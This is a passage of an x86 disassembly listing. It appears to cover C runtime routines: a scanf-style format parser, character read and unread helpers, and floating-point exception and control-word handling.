		jnz	short loc_420AD7


loc_420AEF:				; CODE XREF: sub_420510+5BCj
		xor	dl, dl
		jmp	short loc_420AA7
; ---------------------------------------------------------------------------


loc_420AF3:				; CODE XREF: sub_420510+5A0j
					; sub_420510+5A4j ...
		movzx	ecx, al
		mov	dl, al
		mov	eax, ecx
		and	ecx, 7
		mov	bl, 1
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_64]
		or	[eax], bl
		jmp	short loc_420AA7
; ---------------------------------------------------------------------------


loc_420B0C:				; CODE XREF: sub_420510+59Bj
		cmp	byte ptr [edi],	0
		jz	loc_420F16
		cmp	[ebp+var_3C], 7Bh
		jnz	short loc_420B1E
		mov	[ebp+arg_4], edi


loc_420B1E:				; CODE XREF: sub_420510+609j
		mov	edi, [ebp+arg_0]
		mov	esi, [ebp+var_2C]
		dec	[ebp+var_4]
		push	edi
		push	[ebp+var_14]
		mov	[ebp+var_30], esi
		call	sub_420F86
		pop	ecx
		pop	ecx


loc_420B35:				; CODE XREF: sub_420510+6BCj
					; sub_420510+6C4j
		cmp	[ebp+var_20], 0
		jz	short loc_420B49
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	loc_420BE5


loc_420B49:				; CODE XREF: sub_420510+629j
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		mov	[ebp+var_14], eax
		jz	short loc_420BD9
		mov	ecx, eax
		push	1
		and	ecx, 7
		pop	edx
		movsx	ebx, [ebp+var_18]
		shl	edx, cl
		mov	ecx, eax
		sar	ecx, 3
		movsx	ecx, [ebp+ecx+var_64]
		xor	ecx, ebx
		test	edx, ecx
		jz	short loc_420BD9
		cmp	[ebp+var_E], 0
		jnz	short loc_420BD1
		cmp	[ebp+var_16], 0
		jz	short loc_420BC6
		mov	ecx, off_43C2F8
		mov	[ebp+var_38], al
		movzx	eax, al
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_420BA5
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		pop	ecx
		mov	[ebp+var_37], al


loc_420BA5:				; CODE XREF: sub_420510+686j
		push	dword_43C504
		lea	eax, [ebp+var_38]
		push	eax
		lea	eax, [ebp+var_3E]
		push	eax
		call	sub_423EC3
		mov	ax, [ebp+var_3E]
		add	esp, 0Ch
		mov	[esi], ax
		inc	esi
		inc	esi
		jmp	short loc_420BC9
; ---------------------------------------------------------------------------


loc_420BC6:				; CODE XREF: sub_420510+673j
		mov	[esi], al
		inc	esi


loc_420BC9:				; CODE XREF: sub_420510+6B4j
		mov	[ebp+var_2C], esi
		jmp	loc_420B35
; ---------------------------------------------------------------------------


loc_420BD1:				; CODE XREF: sub_420510+66Dj
		inc	[ebp+var_30]
		jmp	loc_420B35
; ---------------------------------------------------------------------------


loc_420BD9:				; CODE XREF: sub_420510+649j
					; sub_420510+667j
		dec	[ebp+var_4]
		push	edi
		push	eax
		call	sub_420F86
		pop	ecx
		pop	ecx


loc_420BE5:				; CODE XREF: sub_420510+633j
		cmp	[ebp+var_30], esi
		jz	loc_420F16
		cmp	[ebp+var_E], 0
		jnz	loc_420E77
		inc	[ebp+var_34]
		cmp	[ebp+var_3C], 63h
		jz	loc_420E77
		cmp	[ebp+var_16], 0
		mov	eax, [ebp+var_2C]
		jz	short loc_420C17
		and	word ptr [eax],	0
		jmp	loc_420E77
; ---------------------------------------------------------------------------


loc_420C17:				; CODE XREF: sub_420510+6FCj
		and	byte ptr [eax],	0
		jmp	loc_420E77
; ---------------------------------------------------------------------------


loc_420C1F:				; CODE XREF: sub_420510+466j
		mov	[ebp+var_D], 1


loc_420C23:				; CODE XREF: sub_420510+203j
					; sub_420510+215j ...
		mov	ebx, [ebp+var_14]
		cmp	ebx, 2Dh
		jnz	short loc_420C31
		mov	[ebp+var_17], 1
		jmp	short loc_420C36
; ---------------------------------------------------------------------------


loc_420C31:				; CODE XREF: sub_420510+719j
		cmp	ebx, 2Bh
		jnz	short loc_420C58


loc_420C36:				; CODE XREF: sub_420510+71Fj
		dec	[ebp+var_C]
		jnz	short loc_420C47
		cmp	[ebp+var_20], 0
		jz	short loc_420C47
		mov	[ebp+var_F], 1
		jmp	short loc_420C58
; ---------------------------------------------------------------------------


loc_420C47:				; CODE XREF: sub_420510+729j
					; sub_420510+72Fj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420F6C
		pop	ecx
		mov	ebx, eax


loc_420C55:				; CODE XREF: sub_420510+543j
		mov	[ebp+var_14], ebx


loc_420C58:				; CODE XREF: sub_420510+4FDj
					; sub_420510+52Dj ...
		cmp	[ebp+var_30], 0
		jz	loc_420D71
		cmp	[ebp+var_F], 0
		jnz	loc_420D4F


loc_420C6C:				; CODE XREF: sub_420510+82Cj
		cmp	esi, 78h
		jnz	short loc_420CC0
		cmp	dword_43C504, 1
		jle	short loc_420C89
		push	80h
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420C96
; ---------------------------------------------------------------------------


loc_420C89:				; CODE XREF: sub_420510+768j
		mov	eax, off_43C2F8
		mov	al, [eax+ebx*2]
		and	eax, 80h


loc_420C96:				; CODE XREF: sub_420510+777j
		test	eax, eax
		jz	loc_420D41
		mov	eax, [ebp+var_28]
		mov	edx, [ebp+var_24]
		push	4
		pop	ecx
		call	sub_423F90
		push	ebx
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], edx
		call	sub_420F35
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_420D13
; ---------------------------------------------------------------------------


loc_420CC0:				; CODE XREF: sub_420510+75Fj
		cmp	dword_43C504, 1
		jle	short loc_420CD5
		push	4
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420CE0
; ---------------------------------------------------------------------------


loc_420CD5:				; CODE XREF: sub_420510+7B7j
		mov	eax, off_43C2F8
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_420CE0:				; CODE XREF: sub_420510+7C3j
		test	eax, eax
		jz	short loc_420D41
		cmp	esi, 6Fh
		jnz	short loc_420CFE
		cmp	ebx, 38h
		jge	short loc_420D41
		mov	eax, [ebp+var_28]
		mov	edx, [ebp+var_24]
		push	3
		pop	ecx
		call	sub_423F90
		jmp	short loc_420D0D
; ---------------------------------------------------------------------------


loc_420CFE:				; CODE XREF: sub_420510+7D7j
		push	0
		push	0Ah
		push	[ebp+var_24]
		push	[ebp+var_28]
		call	sub_41D280


loc_420D0D:				; CODE XREF: sub_420510+7ECj
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], edx


loc_420D13:				; CODE XREF: sub_420510+7AEj
		inc	[ebp+var_1C]
		lea	eax, [ebx-30h]
		cdq
		add	[ebp+var_28], eax
		adc	[ebp+var_24], edx
		cmp	[ebp+var_20], 0
		jz	short loc_420D2B
		dec	[ebp+var_C]
		jz	short loc_420D4F


loc_420D2B:				; CODE XREF: sub_420510+814j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	loc_420C6C
; ---------------------------------------------------------------------------


loc_420D41:				; CODE XREF: sub_420510+788j
					; sub_420510+7D2j ...
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_420F86
		pop	ecx
		pop	ecx


loc_420D4F:				; CODE XREF: sub_420510+756j
					; sub_420510+819j
		cmp	[ebp+var_17], 0
		jz	loc_420E35
		mov	eax, [ebp+var_28]
		mov	ecx, [ebp+var_24]
		neg	eax
		adc	ecx, 0
		mov	[ebp+var_28], eax
		neg	ecx
		mov	[ebp+var_24], ecx
		jmp	loc_420E35
; ---------------------------------------------------------------------------


loc_420D71:				; CODE XREF: sub_420510+74Cj
		cmp	[ebp+var_F], 0
		jnz	loc_420E2D


loc_420D7B:				; CODE XREF: sub_420510+90Aj
		cmp	esi, 78h
		jz	short loc_420DBF
		cmp	esi, 70h
		jz	short loc_420DBF
		cmp	dword_43C504, 1
		jle	short loc_420D9A
		push	4
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420DA5
; ---------------------------------------------------------------------------


loc_420D9A:				; CODE XREF: sub_420510+87Cj
		mov	eax, off_43C2F8
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_420DA5:				; CODE XREF: sub_420510+888j
		test	eax, eax
		jz	short loc_420E1F
		cmp	esi, 6Fh
		jnz	short loc_420DB8
		cmp	ebx, 38h
		jge	short loc_420E1F
		shl	edi, 3
		jmp	short loc_420DF7
; ---------------------------------------------------------------------------


loc_420DB8:				; CODE XREF: sub_420510+89Cj
		lea	edi, [edi+edi*4]
		shl	edi, 1
		jmp	short loc_420DF7
; ---------------------------------------------------------------------------


loc_420DBF:				; CODE XREF: sub_420510+86Ej
					; sub_420510+873j
		cmp	dword_43C504, 1
		jle	short loc_420DD7
		push	80h
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420DE4
; ---------------------------------------------------------------------------


loc_420DD7:				; CODE XREF: sub_420510+8B6j
		mov	eax, off_43C2F8
		mov	al, [eax+ebx*2]
		and	eax, 80h


loc_420DE4:				; CODE XREF: sub_420510+8C5j
		test	eax, eax
		jz	short loc_420E1F
		push	ebx
		shl	edi, 4
		call	sub_420F35
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_420DF7:				; CODE XREF: sub_420510+8A6j
					; sub_420510+8ADj
		inc	[ebp+var_1C]
		cmp	[ebp+var_20], 0
		lea	edi, [edi+ebx-30h]
		jz	short loc_420E09
		dec	[ebp+var_C]
		jz	short loc_420E2D


loc_420E09:				; CODE XREF: sub_420510+8F2j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	loc_420D7B
; ---------------------------------------------------------------------------


loc_420E1F:				; CODE XREF: sub_420510+897j
					; sub_420510+8A1j ...
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_420F86
		pop	ecx
		pop	ecx


loc_420E2D:				; CODE XREF: sub_420510+865j
					; sub_420510+8F7j
		cmp	[ebp+var_17], 0
		jz	short loc_420E35
		neg	edi


loc_420E35:				; CODE XREF: sub_420510+843j
					; sub_420510+85Cj ...
		cmp	esi, 46h
		jnz	short loc_420E3E
		and	[ebp+var_1C], 0


loc_420E3E:				; CODE XREF: sub_420510+928j
		cmp	[ebp+var_1C], 0
		jz	loc_420F16
		cmp	[ebp+var_E], 0
		jnz	short loc_420E77
		inc	[ebp+var_34]


loc_420E51:				; CODE XREF: sub_420510+23Bj
		cmp	[ebp+var_30], 0
		jz	short loc_420E67
		mov	eax, [ebp+var_2C]
		mov	ecx, [ebp+var_28]
		mov	[eax], ecx
		mov	ecx, [ebp+var_24]
		mov	[eax+4], ecx
		jmp	short loc_420E77
; ---------------------------------------------------------------------------


loc_420E67:				; CODE XREF: sub_420510+945j
		cmp	[ebp+var_D], 0
		mov	eax, [ebp+var_2C]
		jz	short loc_420E74
		mov	[eax], edi
		jmp	short loc_420E77
; ---------------------------------------------------------------------------


loc_420E74:				; CODE XREF: sub_420510+95Ej
		mov	[eax], di


loc_420E77:				; CODE XREF: sub_420510+241j
					; sub_420510+414j ...
		inc	[ebp+var_15]
		inc	[ebp+arg_4]
		mov	esi, [ebp+arg_4]
		jmp	short loc_420EC4
; ---------------------------------------------------------------------------


loc_420E82:				; CODE XREF: sub_420510+93j
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		movzx	eax, byte ptr [esi]
		inc	esi
		cmp	eax, ebx
		mov	[ebp+var_14], ebx
		mov	[ebp+arg_4], esi
		jnz	short loc_420EF1
		mov	ecx, off_43C2F8
		movzx	eax, bl
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_420EC4
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		pop	ecx
		movzx	ecx, byte ptr [esi]
		inc	esi
		cmp	ecx, eax
		mov	[ebp+arg_4], esi
		jnz	short loc_420EFF
		dec	[ebp+var_4]


loc_420EC4:				; CODE XREF: sub_420510+970j
					; sub_420510+99Aj
		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_420EDA
		cmp	byte ptr [esi],	25h
		jnz	short loc_420F1C
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax+1], 6Eh
		jnz	short loc_420F1C
		mov	esi, eax


loc_420EDA:				; CODE XREF: sub_420510+9B8j
		mov	al, [esi]
		test	al, al
		jnz	loc_42053A
		jmp	short loc_420F16
; ---------------------------------------------------------------------------


loc_420EE6:				; CODE XREF: sub_420510+1F4j
					; sub_420510+491j
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	[ebp+var_14]
		jmp	short loc_420EF6
; ---------------------------------------------------------------------------


loc_420EF1:				; CODE XREF: sub_420510+98Aj
		dec	[ebp+var_4]
		push	edi
		push	ebx


loc_420EF6:				; CODE XREF: sub_420510+9DFj
		call	sub_420F86
		pop	ecx
		pop	ecx
		jmp	short loc_420F16
; ---------------------------------------------------------------------------


loc_420EFF:				; CODE XREF: sub_420510+9AFj
		dec	[ebp+var_4]
		push	edi
		push	eax
		call	sub_420F86
		dec	[ebp+var_4]
		push	edi
		push	ebx
		call	sub_420F86
		add	esp, 10h


loc_420F16:				; CODE XREF: sub_420510+1Fj
					; sub_420510+40Aj ...
		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_420F2D


loc_420F1C:				; CODE XREF: sub_420510+9BDj
					; sub_420510+9C6j
		mov	eax, [ebp+var_34]
		test	eax, eax
		jnz	short loc_420F30
		cmp	[ebp+var_15], al
		jnz	short loc_420F30
		or	eax, 0FFFFFFFFh
		jmp	short loc_420F30
; ---------------------------------------------------------------------------


loc_420F2D:				; CODE XREF: sub_420510+A0Aj
		mov	eax, [ebp+var_34]


loc_420F30:				; CODE XREF: sub_420510+A11j
					; sub_420510+A16j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_420510	endp


; =============== S U B	R O U T	I N E =======================================



sub_420F35	proc near		; CODE XREF: sub_420510+7A3p
					; sub_420510+8DCp

arg_0		= dword	ptr  4

		cmp	dword_43C504, 1
		push	esi
		jle	short loc_420F4F
		mov	esi, [esp+4+arg_0]
		push	4
		push	esi
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420F5E
; ---------------------------------------------------------------------------


loc_420F4F:				; CODE XREF: sub_420F35+8j
		mov	esi, [esp+4+arg_0]
		mov	eax, off_43C2F8
		mov	al, [eax+esi*2]
		and	eax, 4


loc_420F5E:				; CODE XREF: sub_420F35+18j
		test	eax, eax
		jnz	short loc_420F68
		and	esi, 0FFFFFFDFh
		sub	esi, 7


loc_420F68:				; CODE XREF: sub_420F35+2Bj
		mov	eax, esi
		pop	esi
		retn
sub_420F35	endp


; =============== S U B	R O U T	I N E =======================================



sub_420F6C	proc near		; CODE XREF: sub_420510+1E1p
					; sub_420510+289p ...

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		dec	dword ptr [edx+4]
		js	short loc_420F7E
		mov	ecx, [edx]
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[edx], ecx
		retn
; ---------------------------------------------------------------------------


loc_420F7E:				; CODE XREF: sub_420F6C+7j
		push	edx
		call	sub_41F043
		pop	ecx
		retn
sub_420F6C	endp


; =============== S U B	R O U T	I N E =======================================



sub_420F86	proc near		; CODE XREF: sub_420510+6Bp
					; sub_420510+3FFp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0FFFFFFFFh
		jz	short locret_420F9C
		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_423FAF
		pop	ecx
		pop	ecx

locret_420F9C:				; CODE XREF: sub_420F86+5j
		retn
sub_420F86	endp


; =============== S U B	R O U T	I N E =======================================



sub_420F9D	proc near		; CODE XREF: sub_420510+63p
					; sub_420510+1D3p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi


loc_420FA3:				; CODE XREF: sub_420F9D+1Dj
		push	[esp+8+arg_4]
		inc	dword ptr [esi]
		call	sub_420F6C
		mov	edi, eax
		push	edi
		call	sub_41D670
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_420FA3
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_420F9D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __fastcall sub_420FC1(int,int,double,int)

sub_420FC1	proc near		; CODE XREF: sub_41C679+51p
					; sub_41C7BF+51p

var_1C		= qword	ptr -1Ch
var_14		= qword	ptr -14h
var_C		= qword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	dword_43CC70, 0
		jnz	short loc_420FF6
		push	[ebp+arg_C]	; int
		fld	qword ptr [ebp+arg_4]
		push	ecx
		push	ecx		; double
		fstp	[esp+0Ch+var_C]
		push	ecx		; int
		push	ecx		; int
		fldz
		fstp	[esp+14h+var_14]
		fld	qword ptr [ebp+arg_4]
		push	ecx		; int
		push	ecx		; int
		fstp	[esp+1Ch+var_1C]
		push	[ebp+arg_0]	; int
		push	1		; int
		call	sub_421576
		add	esp, 24h
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_420FF6:				; CODE XREF: sub_420FC1+Aj
		push	0FFFFh
		mov	dword_4DB278, 21h
		push	[ebp+arg_C]
		call	sub_4217E9
		fld	qword ptr [ebp+arg_4]
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_420FC1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_421014(int,int,double,double,int)

sub_421014	proc near		; CODE XREF: sub_41C679:loc_41C73Cp
					; sub_41C7BF:loc_41C882p

var_74		= qword	ptr -74h
var_6C		= qword	ptr -6Ch
var_64		= qword	ptr -64h
var_5C		= dword	ptr -5Ch
var_58		= byte ptr -58h
var_20		= dword	ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= qword	ptr  10h
arg_10		= qword	ptr  18h
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	[ebp+arg_18]
		lea	eax, [ebp+arg_10]
		push	eax
		push	[ebp+arg_0]
		call	sub_42135F
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_421052
		lea	eax, [ebp+arg_10]
		and	[ebp+var_20], 0FFFFFFFEh
		push	eax
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+arg_18]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		call	sub_4210AC
		add	esp, 18h


loc_421052:				; CODE XREF: sub_421014+1Aj
		push	[ebp+arg_0]
		call	sub_421649
		cmp	dword_43CC70, 0
		pop	ecx
		jnz	short loc_421090
		test	eax, eax
		jz	short loc_421090
		push	[ebp+arg_18]	; int
		fld	[ebp+arg_10]
		push	ecx
		push	ecx		; double
		fstp	[esp+64h+var_64]
		push	ecx		; int
		push	ecx		; int
		fldz
		fstp	[esp+6Ch+var_6C]
		fld	[ebp+arg_8]
		push	ecx		; int
		push	ecx		; int
		fstp	[esp+74h+var_74]
		push	[ebp+arg_4]	; int
		push	eax		; int
		call	sub_421576
		add	esp, 24h
		leave
		retn
; ---------------------------------------------------------------------------


loc_421090:				; CODE XREF: sub_421014+4Ej
					; sub_421014+52j
		push	eax
		call	sub_4215FE
		mov	[esp+5Ch+var_5C], 0FFFFh
		push	[ebp+arg_18]
		call	sub_4217E9
		fld	[ebp+arg_10]
		pop	ecx
		pop	ecx
		leave
		retn
sub_421014	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4210AC	proc near		; CODE XREF: sub_421014+36p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_0]
		xor	eax, eax
		push	ebx
		push	esi
		mov	[ecx+4], eax
		mov	ecx, [ebp+arg_0]
		push	edi
		push	1
		mov	[ecx+8], eax
		mov	ecx, [ebp+arg_0]
		pop	ebx
		mov	[ecx+0Ch], eax
		mov	cl, byte ptr [ebp+arg_8]
		test	cl, 10h
		jz	short loc_4210DE
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C000008Fh
		or	[eax+4], ebx


loc_4210DE:				; CODE XREF: sub_4210AC+23j
		test	cl, 2
		jz	short loc_4210F1
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000093h
		or	dword ptr [eax+4], 2


loc_4210F1:				; CODE XREF: sub_4210AC+35j
		test	cl, bl
		jz	short loc_421103
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000091h
		or	dword ptr [eax+4], 4


loc_421103:				; CODE XREF: sub_4210AC+47j
		test	cl, 4
		jz	short loc_421116
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C000008Eh
		or	dword ptr [eax+4], 8


loc_421116:				; CODE XREF: sub_4210AC+5Aj
		test	cl, 8
		jz	short loc_421129
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000090h
		or	dword ptr [eax+4], 10h


loc_421129:				; CODE XREF: sub_4210AC+6Dj
		mov	esi, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		push	2
		mov	ecx, [esi]
		mov	edx, [eax+8]
		not	ecx
		and	ecx, ebx
		and	edx, 0FFFFFFEFh
		shl	ecx, 4
		or	ecx, edx
		pop	edi
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		and	ecx, 4
		shl	ecx, 1
		and	edx, 0FFFFFFF7h
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 1
		and	ecx, 4
		and	edx, 0FFFFFFFBh
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 3
		and	ecx, edi
		and	edx, 0FFFFFFFDh
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 5
		and	ecx, ebx
		and	edx, 0FFFFFFFEh
		or	ecx, edx
		mov	[eax+8], ecx
		call	sub_4217CC
		test	al, bl
		jz	short loc_4211B2
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 10h


loc_4211B2:				; CODE XREF: sub_4210AC+FDj
		test	al, 4
		jz	short loc_4211BD
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 8


loc_4211BD:				; CODE XREF: sub_4210AC+108j
		test	al, 8
		jz	short loc_4211C8
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 4


loc_4211C8:				; CODE XREF: sub_4210AC+113j
		test	al, 10h
		jz	short loc_4211D2
		mov	ecx, [ebp+arg_0]
		or	[ecx+0Ch], edi


loc_4211D2:				; CODE XREF: sub_4210AC+11Ej
		test	al, 20h
		jz	short loc_4211DC
		mov	eax, [ebp+arg_0]
		or	[eax+0Ch], ebx


loc_4211DC:				; CODE XREF: sub_4210AC+128j
		mov	eax, [esi]
		mov	ecx, 0C00h
		and	eax, ecx
		jz	short loc_42121B
		cmp	eax, 400h
		jz	short loc_42120D
		cmp	eax, 800h
		jz	short loc_421201
		cmp	eax, ecx
		jnz	short loc_421221
		mov	eax, [ebp+arg_0]
		or	dword ptr [eax], 3
		jmp	short loc_421221
; ---------------------------------------------------------------------------


loc_421201:				; CODE XREF: sub_4210AC+147j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFFEh
		or	ecx, edi
		jmp	short loc_421217
; ---------------------------------------------------------------------------


loc_42120D:				; CODE XREF: sub_4210AC+140j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFFDh
		or	ecx, ebx


loc_421217:				; CODE XREF: sub_4210AC+15Fj
		mov	[eax], ecx
		jmp	short loc_421221
; ---------------------------------------------------------------------------


loc_42121B:				; CODE XREF: sub_4210AC+139j
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax], 0FFFFFFFCh


loc_421221:				; CODE XREF: sub_4210AC+14Bj
					; sub_4210AC+153j ...
		mov	eax, [esi]
		mov	ecx, 300h
		and	eax, ecx
		jz	short loc_42124C
		cmp	eax, 200h
		jz	short loc_42123F
		cmp	eax, ecx
		jnz	short loc_421259
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax], 0FFFFFFE3h
		jmp	short loc_421259
; ---------------------------------------------------------------------------


loc_42123F:				; CODE XREF: sub_4210AC+185j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFE7h
		or	ecx, 4
		jmp	short loc_421257
; ---------------------------------------------------------------------------


loc_42124C:				; CODE XREF: sub_4210AC+17Ej
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFEBh
		or	ecx, 8


loc_421257:				; CODE XREF: sub_4210AC+19Ej
		mov	[eax], ecx


loc_421259:				; CODE XREF: sub_4210AC+189j
					; sub_4210AC+191j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_C]
		and	ecx, 0FFFh
		mov	edx, [eax]
		shl	ecx, 5
		and	edx, 0FFFE001Fh
		or	ecx, edx
		mov	[eax], ecx
		mov	eax, [ebp+arg_0]
		or	[eax+20h], ebx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+20h]
		and	ecx, 0FFFFFFE3h
		or	ecx, edi
		mov	[eax+20h], ecx
		mov	eax, [ebp+arg_10]
		fld	qword ptr [eax]
		mov	eax, [ebp+arg_0]
		fstp	qword ptr [eax+10h]
		mov	eax, [ebp+arg_0]
		or	[eax+50h], ebx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+50h]
		and	ecx, 0FFFFFFE3h
		or	ecx, edi
		mov	edi, [ebp+arg_14]
		mov	[eax+50h], ecx
		mov	eax, [ebp+arg_0]
		fld	qword ptr [edi]
		fstp	qword ptr [eax+40h]
		call	sub_4217DA
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	0
		push	[ebp+arg_8]
		call	near ptr 265030Dh
		nop
		mov	eax, [ebp+arg_0]
		test	byte ptr [eax+8], 10h
		jz	short loc_4212D3
		and	dword ptr [esi], 0FFFFFFFEh


loc_4212D3:				; CODE XREF: sub_4210AC+222j
		test	byte ptr [eax+8], 8
		jz	short loc_4212DC
		and	dword ptr [esi], 0FFFFFFFBh


loc_4212DC:				; CODE XREF: sub_4210AC+22Bj
		test	byte ptr [eax+8], 4
		jz	short loc_4212E5
		and	dword ptr [esi], 0FFFFFFF7h


loc_4212E5:				; CODE XREF: sub_4210AC+234j
		test	byte ptr [eax+8], 2
		jz	short loc_4212EE
		and	dword ptr [esi], 0FFFFFFEFh


loc_4212EE:				; CODE XREF: sub_4210AC+23Dj
		test	[eax+8], bl
		jz	short loc_4212F6
		and	dword ptr [esi], 0FFFFFFDFh


loc_4212F6:				; CODE XREF: sub_4210AC+245j
		mov	ecx, [eax]
		mov	edx, 0FFFFF3FFh
		and	ecx, 3
		sub	ecx, 0
		jz	short loc_42132A
		dec	ecx
		jz	short loc_42131E
		dec	ecx
		jz	short loc_421314
		dec	ecx
		jnz	short loc_42132C
		or	byte ptr [esi+1], 0Ch
		jmp	short loc_42132C
; ---------------------------------------------------------------------------


loc_421314:				; CODE XREF: sub_4210AC+25Dj
		mov	ecx, [esi]
		and	ch, 0FBh
		or	ch, 8
		jmp	short loc_421326
; ---------------------------------------------------------------------------


loc_42131E:				; CODE XREF: sub_4210AC+25Aj
		mov	ecx, [esi]
		and	ch, 0F7h
		or	ch, 4


loc_421326:				; CODE XREF: sub_4210AC+270j
		mov	[esi], ecx
		jmp	short loc_42132C
; ---------------------------------------------------------------------------


loc_42132A:				; CODE XREF: sub_4210AC+257j
		and	[esi], edx


loc_42132C:				; CODE XREF: sub_4210AC+260j
					; sub_4210AC+266j ...
		mov	ecx, [eax]
		shr	ecx, 2
		and	ecx, 7
		sub	ecx, 0
		jz	short loc_42134C
		dec	ecx
		jz	short loc_421343
		dec	ecx
		jnz	short loc_421355
		and	[esi], edx
		jmp	short loc_421355
; ---------------------------------------------------------------------------


loc_421343:				; CODE XREF: sub_4210AC+28Ej
		mov	ecx, [esi]
		and	ecx, edx
		or	ch, 2
		jmp	short loc_421353
; ---------------------------------------------------------------------------


loc_42134C:				; CODE XREF: sub_4210AC+28Bj
		mov	ecx, [esi]
		and	ecx, edx
		or	ch, 3


loc_421353:				; CODE XREF: sub_4210AC+29Ej
		mov	[esi], ecx


loc_421355:				; CODE XREF: sub_4210AC+291j
					; sub_4210AC+295j
		fld	qword ptr [eax+40h]
		fstp	qword ptr [edi]
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4210AC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42135F	proc near		; CODE XREF: sub_421014+10p

var_24		= qword	ptr -24h
var_C		= qword	ptr -0Ch
